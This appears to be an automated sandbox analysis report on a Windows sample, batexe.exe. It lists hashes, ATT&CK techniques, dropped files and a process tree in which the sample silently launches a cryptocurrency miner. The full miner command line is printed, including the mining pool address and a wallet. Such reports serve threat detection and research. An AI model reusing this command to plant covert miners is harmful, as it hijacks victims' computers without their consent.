73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
300s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
23/02/2024, 18:44

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3196	b2e.exe
3468	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3468	cpuminer-sse2.exe
3468	cpuminer-sse2.exe
3468	cpuminer-sse2.exe
3468	cpuminer-sse2.exe
3468	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1376-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1376 wrote to memory of 3196	1376	batexe.exe	90
PID 1376 wrote to memory of 3196	1376	batexe.exe	90
PID 1376 wrote to memory of 3196	1376	batexe.exe	90
PID 3196 wrote to memory of 880	3196	b2e.exe	91
PID 3196 wrote to memory of 880	3196	b2e.exe	91
PID 3196 wrote to memory of 880	3196	b2e.exe	91
PID 880 wrote to memory of 3468	880	cmd.exe	94
PID 880 wrote to memory of 3468	880	cmd.exe	94

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1376
- C:\Users\Admin\AppData\Local\Temp\5EBA.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5EBA.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5EBA.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3196
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\611B.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:880
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3468

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5EBA.tmp\b2e.exe

Filesize
3.1MB

MD5
99ad83af42c41856ec0b68c9a92979ce

SHA1
835ba4af2082e5b041218e7967d24747bc6fc11d

SHA256
b781aa49ca2ef116ba9a7acf1d5ac29fd851f547009ef9ae74969559b6a854ba

SHA512
4c52d1ad2dcc289ddc54e2e6da5108f1eb008d6016844456c254b4380b12befd7aa1afca67bda77a4b65d3c6015b8e0db4890f4698e59791bc2065a14714ca71

Download Submit
C:\Users\Admin\AppData\Local\Temp\5EBA.tmp\b2e.exe

Filesize
2.3MB

MD5
8e30ec0c26317cfa188cfbc878f917c5

SHA1
aa110deb473f3ea6a53e577c34e0acbd132c0916

SHA256
0cbc3001edcf25a269972366cfe4059f2da134c5b2c10a370d4dfb86f95b0d7c

SHA512
ce5e6d45085935825a40866457857cc6c96828ce6c15cda4233e8db4fdd7b0c2e8dc1bc0d7836363138cbb6c8205adfef9f2889cd171f5568f2a0b0f01f237b5

Download Submit
C:\Users\Admin\AppData\Local\Temp\5EBA.tmp\b2e.exe

Filesize
1.8MB

MD5
f51fe7ed64e17eb639e2b77a503596fc

SHA1
9de36c8a5bd8a21c006aabe8c222294852a802f1

SHA256
706fdab761081f7c0cbe20066009c226b25636178215be354891409ae09eecc7

SHA512
ffd4c6f3d081da80edc1bdcc52052d9965c854f7f4fe83e655da803a0fc5f9c261219ec8e12b45ba432cec0d740d314e2be5700a592e581b9f057bccfe516fca

Download Submit
C:\Users\Admin\AppData\Local\Temp\611B.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.3MB

MD5
7fb69aa15ba347db9a82a784c4da8fd4

SHA1
113760de0d452024b1545aa14ee231d8b0fedab5

SHA256
57b271b357f8383db80d33dae1e8d24e718ee12820c16a7bcf907ffabcc9269d

SHA512
3320e213a5274c6b85513a205d9afe84fd3146f46b5c62c830e58e5b52cd8c32d656a95afd7a920f04f10a259be6fdccadeffd14df505e6d7331925cc160b34c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.8MB

MD5
adde3ce9ea19d8b4ab7e5fd4019aaead

SHA1
3b0b8e1e85a73acc9e4e85ee53cc39491e72f714

SHA256
527b7b68aed11589f3821efe1adf3f0a57b5898ad2dd957ad6372ae26032b7e7

SHA512
1367568b034e2595364967b4d89af9cd5426e64aafae11b8eccbd5aacd78de2e49d58a79a1f96ae6faa329a119eae6cab05fea509e11b88c9d0639acf8fadcd8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.8MB

MD5
d3f533ff966c1cfd59a6a49c0fb1e2f3

SHA1
ecfabcf1a82affe163b8806ed288557cb7d162e2

SHA256
ca2ae23480e8d8a9c5340e63fb3619e0a81641ca7da57b77d5734083557ed519

SHA512
447b689164e3a1f7c0904e748b9c1cd0ccb972691c1433eeb37874c4c64118ae5a52cf190fc750eb4ce69e1b29894ef8e32bc41034e0bde9fee470e542826fc6

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1376-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3196-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3196-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3468-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3468-46-0x000000005EB80000-0x000000005EC18000-memory.dmp

Filesize
608KB

Download
memory/3468-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3468-47-0x0000000001130000-0x00000000029E5000-memory.dmp

Filesize
24.7MB

Download
memory/3468-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3468-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3468-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3468-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3468-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3468-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3468-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3468-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3468-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3468-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download